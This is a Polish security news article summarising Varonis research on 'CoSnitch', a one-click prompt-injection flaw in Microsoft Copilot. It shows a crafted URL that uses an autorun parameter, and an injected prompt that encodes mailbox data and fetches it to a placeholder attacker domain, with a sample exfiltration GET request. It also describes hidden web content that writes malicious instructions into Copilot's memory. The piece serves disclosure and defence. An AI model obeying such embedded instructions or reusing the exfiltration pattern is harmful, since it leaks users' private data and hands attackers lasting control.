NOWOŚĆ! Szkolenie AI w pracy admina
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
17 sierpnia wystartowały Dni Otwarte Sekurak.Academy. Dołącz bezpłatnie 🙂
NOWOŚĆ! Szkolenie AI w pracy admina
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
17 sierpnia wystartowały Dni Otwarte Sekurak.Academy. Dołącz bezpłatnie 🙂
Badacze bezpieczeństwa z Varonis odkryli podatność typu one-click w Microsoft Copilot. Otrzymała ona numer CVE-2026-24301 i została nazwana “CoSnitch”. Luka umożliwia wykradnięcie danych użytkownika bez żadnej szczególnej interakcji z jego strony – wystarczy kliknięcie odpowiednio spreparowanego linku.
Podatność została zgłoszona firmie Microsoft w grudniu 2025 r., a 18 sierpnia 2026 r. wdrożono poprawki. Badacze nie znaleźli dowodów na jej wykorzystanie w środowisku produkcyjnym. Scenariusz ataku symulowanego przez badaczy wykorzystał trzy elementy.
Najpierw badacze szukali sposobu na automatyczne wykonanie prompta bez dodatkowej interakcji/potwierdzenia po stronie użytkownika. Zapytany o taką możliwość Copilot wyjaśnił, że interakcja jest wymagana, a prompty nie uruchamiają się samoczynnie.
Model wyjaśniał, dlaczego automatyczne wysłanie prompta nie jest możliwe, a każda odpowiedź zawierała techniczne uzasadnienie. Badacze zadawali więc pytania uzupełniające, doprowadzając finalnie do ujawnienia przez Copilota nieudokumentowanego parametru URL.
Samo otwarcie adresu URL zawierającego prompt i wskazany parametr wystarczyło – bez żadnego kliknięcia ani potwierdzenia u użytkownika, prompt został automatycznie wysłany. Złośliwy link wyglądał tak:
| https://copilot.microsoft.com/?q=<ZLOSLIWY_PROMPT>&autorun=1 |
Listing 1 – spreparowany adres URL, źródło: varonis.com
Sam parametr q odpowiada za wstępne wypełnienie pola do wpisania prompta – nadal wymaga kliknięcia przycisku (lub klawisza Enter) przez użytkownika. Wystarczyło jednak dodać autorun z wartością 1, aby całość została wysłana automatycznie podczas ładowania strony.

Sam prompt może być dowolny. Z perspektywy ofiary samo otwarcie linku powoduje natychmiastowe wykonanie instrukcji.

To jednak nie koniec. Jeżeli Copilot ma dostęp (przez OAuth) do konta Gmail użytkownika, może odczytać całą zawartość skrzynki odbiorczej. Poproszony o to, bez problemu znajdzie wiadomość na koncie i zwróci jej treść. W testach badaczy Copilot pobrał otrzymane danego dnia maile i zwrócił treść ostatniego z nich.

Jedną z możliwości Copilota jest pobieranie i podsumowywanie treści z internetu. Gdy użytkownik wklei adres URL, Copilot wykona do niego żądanie HTTP GET, aby pobrać treść strony. Mechanizm eksfiltracji wykorzystany przez badaczy nadużywa tej właśnie funkcji.
Złośliwy prompt instruuje Copilota, aby zakodował zebrane dane (mowa o informacjach z podłączonych kont – maila, kalendarza itp.) w ścieżce URL i pobrał stronę pod tym adresem. Copilot wykonuje wtedy żądanie GET, przy okazji dostarczając skradziony payload do webhooka atakującego.
Prompt wskazał modelowi, że pozyskane dane ma przechowywać w zmiennej $OUTPUT – mają być zakodowane w base64. Następnie instrukcja nakazuje pobranie treści strony pod adresem https://<DOMENA_ATAKUJACEGO>/exfil/$OUTPUT. Copilot tworzy więc pełny URL wraz z zakodowanymi danymi i wykonuje do niego żądanie GET.
| GET /exfil/SGV5LCBNeSBwYXNzd29yZCBpcyAhMjE0U0RCRyEhISB0aGFua3MgSVQ= HTTP/1.1 base64decode(“SGV5LCBNeSBwYXNzd29yZCBpcyAhMjE0U0RCRyEhISB0aGFua3MgSVQ=”) → “Hey, My password is !214SDBG!!! thanks IT” |
Listing 2 – przykładowe żądanie GET wykonane przez Copilota, źródło: varonis.com
Pozostając w temacie funkcji podsumowywania stron internetowych w Copilocie – ma ona jeszcze jedną wadę. Gdy użytkownik prosi Copilota o podsumowanie URL-a, pobierana jest pełna treść strony. Trafia ona do kontekstu modelu jako dane do przetworzenia.
Jak ustalili badacze, Copilot nie rozróżniał treści przeznaczonej do podsumowania od instrukcji, których należy przestrzegać podczas przetwarzania treści strony. Jeśli strona zawiera instrukcje w języku naturalnym sformatowane w sposób, który model interpretuje jako polecenia, zostaną one wykonane.
Badacze przygotowali specjalną stronę internetową. Zawierała ona ukrytą treść manipulującą promptem, zaprojektowaną tak, aby wpływać na AI, które później ją przetworzy lub pobierze.
Wystarczy, że ofiara poprosi Copilota o podsumowanie takiej strony. Narzędzie wykona standardowe żądanie GET i pobierze jej treść. Pełna odpowiedź HTML – w tym elementy manipulujące promptem – trafia do modelu. Na tym etapie system nie rozróżnia treści przeznaczonej do podsumowania od instrukcji osadzonych w danych.
Po przetworzeniu HTML model interpretuje ukrytą treść manipulującą promptem jako instrukcje. W przypadku testów badaczy, model został poinstruowany, aby wywołać wewnętrzne API pamięci: memory.add(“<ZLOSLIWE_INSTRUKCJE>”). Po udanym zapisie do pamięci Copilot zwraca ofierze normalnie wyglądające podsumowanie.
Złośliwe instrukcje można umieścić w dowolnym miejscu na stronie – ukryty tekst, komentarze HTML, akapity ukryte za pomocą CSS lub pola metadanych. Copilot przetwarza stronę jako tekst, a więc widoczność poszczególnych elementów nie ma znaczenia dla ich przetworzenia.
Wstrzyknięte instrukcje mogą powodować zapis danych do pamięci Copilota, czyli kontekstu na poziomie użytkownika, który przechowuje informacje dla przyszłych sesji. Pozostają tam, dopóki ręcznie nie usunie ich w ustawieniach.
Wpisy w pamięci mogą instruować Copilota, aby przekazywał wyniki, filtrował informacje, zmieniał narrację odpowiedzi lub wykonywał inne działania zdefiniowane przez atakującego po spełnieniu warunków wyzwalających – w sposób prawie niewidoczny dla użytkownika.


W przypadku opisywanych problemów nie była wymagana żadna szczególna interakcja ze strony użytkownika (wystarczyło jedno kliknięcie). Użytkownikom narzędzi AI polecamy więc ograniczać przyznawane im dostępy do innych kont/usług. Warto rozważyć założenie osobnych kont tylko na potrzeby takich integracji – pozwala to na większą kontrolę nad danymi, do których dostęp ma agent. Takie rozwiązania pomogą zminimalizować skutki ewentualnego ataku.
Źródło: varonis.com
~Tymoteusz Jóźwiak